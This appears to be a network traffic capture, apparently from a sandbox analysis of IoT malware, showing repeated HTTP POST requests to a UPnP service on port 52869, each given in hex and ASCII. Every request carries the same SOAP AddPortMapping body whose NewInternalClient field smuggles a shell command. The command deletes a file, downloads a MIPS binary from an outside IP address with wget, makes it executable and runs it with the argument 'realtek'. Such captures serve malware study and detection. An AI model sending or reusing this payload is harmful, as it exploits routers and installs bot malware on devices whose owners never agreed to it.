                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:43.931229115 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:44.927257061 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:46.875134945 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:50.938998938 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:58.874819994 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:14.490345001 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
